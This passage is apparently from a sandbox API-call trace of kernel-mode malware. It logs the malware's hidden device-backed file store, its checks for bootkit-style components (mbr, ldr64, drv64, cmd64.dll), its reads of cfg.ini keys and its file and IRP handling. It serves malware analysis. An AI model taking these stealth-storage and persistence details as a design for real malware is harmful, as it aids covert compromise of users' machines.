_Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.634] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.634] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.634] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.634] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.634] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.634] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.635] KeLeaveCriticalRegion () [0118.635] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.635] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0118.635] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0118.635] KeEnterCriticalRegion () [0118.635] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.635] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.635] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.635] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.635] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.635] IdePortDispatch () returned 0x103 [0118.635] KeWaitForMutexObject () returned 0x0 [0118.635] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.635] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0118.635] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.635] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.635] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0118.635] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.635] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0118.635] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.635] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0118.635] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0118.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.635] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0118.635] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.635] KeLeaveCriticalRegion () [0118.635] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.635] ReleaseMutex (hMutex=0x100) returned 1 [0118.635] Sleep (dwMilliseconds=0x2bf20) [0118.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x69e8d0b0, dwHighDateTime=0x1d24fa4)) [0118.643] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0118.643] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.644] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.644] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.644] KeEnterCriticalRegion () [0118.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.644] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.644] IdePortDispatch () returned 0x103 [0118.644] KeWaitForMutexObject () returned 0x0 [0118.644] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.644] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.644] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.644] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.644] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.644] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003b28340 [0118.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.644] KeLeaveCriticalRegion () [0118.644] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.644] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.644] KeEnterCriticalRegion () [0118.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.644] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.644] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.644] KeLeaveCriticalRegion () [0118.644] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.644] KeEnterCriticalRegion () [0118.644] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.644] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.644] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.644] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.644] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.644] IdePortDispatch () returned 0x103 [0118.644] KeWaitForMutexObject () returned 0x0 [0118.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.645] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.645] KeLeaveCriticalRegion () [0118.645] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.645] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.645] KeEnterCriticalRegion () [0118.645] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.645] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003527000 [0118.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.645] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.645] IdePortDispatch () returned 0x103 [0118.645] KeWaitForMutexObject () returned 0x0 [0118.645] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.645] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.645] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.645] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.645] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.645] IdePortDispatch () returned 0x103 [0118.645] KeWaitForMutexObject () returned 0x0 [0118.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.646] KeLeaveCriticalRegion () [0118.646] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.646] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.646] KeEnterCriticalRegion () [0118.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.646] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.646] KeLeaveCriticalRegion () [0118.646] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.646] KeEnterCriticalRegion () [0118.646] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.646] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.646] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003649ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.646] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.646] KeLeaveCriticalRegion () [0118.646] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.647] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.647] KeEnterCriticalRegion () [0118.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.647] ExFreePoolWithTag (P=0xfffffa8003b28340, Tag=0x0) [0118.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.647] KeLeaveCriticalRegion () [0118.647] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.647] ReleaseMutex (hMutex=0xf0) returned 1 [0118.647] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.647] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0118.647] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.647] KeEnterCriticalRegion () [0118.647] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.647] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.647] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.647] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.647] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.647] IdePortDispatch () returned 0x103 [0118.647] KeWaitForMutexObject () returned 0x0 [0118.647] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.647] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.647] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.647] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.647] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.647] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80039d7a00 [0118.647] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.647] KeLeaveCriticalRegion () [0118.647] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.648] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.648] KeEnterCriticalRegion () [0118.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.648] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.648] KeLeaveCriticalRegion () [0118.648] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.648] KeEnterCriticalRegion () [0118.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.648] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.648] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.648] IdePortDispatch () returned 0x103 [0118.648] KeWaitForMutexObject () returned 0x0 [0118.648] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.648] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.648] KeLeaveCriticalRegion () [0118.648] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.648] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.648] KeEnterCriticalRegion () [0118.648] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.648] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003528000 [0118.648] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.648] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.649] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.649] IdePortDispatch () returned 0x103 [0118.649] KeWaitForMutexObject () returned 0x0 [0118.649] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.649] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.649] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.649] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.649] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.649] IdePortDispatch () returned 0x103 [0118.649] KeWaitForMutexObject () returned 0x0 [0118.649] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.649] KeLeaveCriticalRegion () [0118.649] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.650] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.650] KeEnterCriticalRegion () [0118.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.650] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.650] KeLeaveCriticalRegion () [0118.650] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.650] KeEnterCriticalRegion () [0118.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.650] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0118.650] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80039c9ad0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0118.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.650] KeLeaveCriticalRegion () [0118.650] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.650] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.650] KeEnterCriticalRegion () [0118.650] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.650] ExFreePoolWithTag (P=0xfffffa80039d7a00, Tag=0x0) [0118.650] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.650] KeLeaveCriticalRegion () [0118.650] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.650] ReleaseMutex (hMutex=0xf0) returned 1 [0118.650] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0118.650] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0118.651] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.651] KeEnterCriticalRegion () [0118.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.651] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.651] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.651] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.651] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0118.651] IdePortDispatch () returned 0x103 [0118.651] KeWaitForMutexObject () returned 0x0 [0118.651] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.651] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.651] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0118.651] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0118.651] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0118.651] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003ba1370 [0118.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.651] KeLeaveCriticalRegion () [0118.651] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.651] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.651] KeEnterCriticalRegion () [0118.651] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.651] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.651] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.651] KeLeaveCriticalRegion () [0118.651] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.651] KeEnterCriticalRegion () [0118.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b87f40 [0118.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b87f40) [0118.652] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0118.652] IdePortDispatch () returned 0x103 [0118.652] KeWaitForMutexObject () returned 0x0 [0118.652] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.652] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.652] KeLeaveCriticalRegion () [0118.652] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.652] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.652] KeEnterCriticalRegion () [0118.652] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.652] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b87f40, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003529000 [0118.652] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.652] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.652] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.652] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.652] IdePortDispatch () returned 0x103 [0118.653] KeWaitForMutexObject () returned 0x0 [0118.653] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0118.653] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0118.653] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0118.653] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0118.653] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0118.653] IdePortDispatch () returned 0x103 [0118.653] KeWaitForMutexObject () returned 0x0 [0118.653] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.653] KeLeaveCriticalRegion () [0118.653] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0118.654] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0118.654] KeEnterCriticalRegion () [0118.654] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0118.654] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0118.654] KeLeaveCriticalRegion () [0118.654] 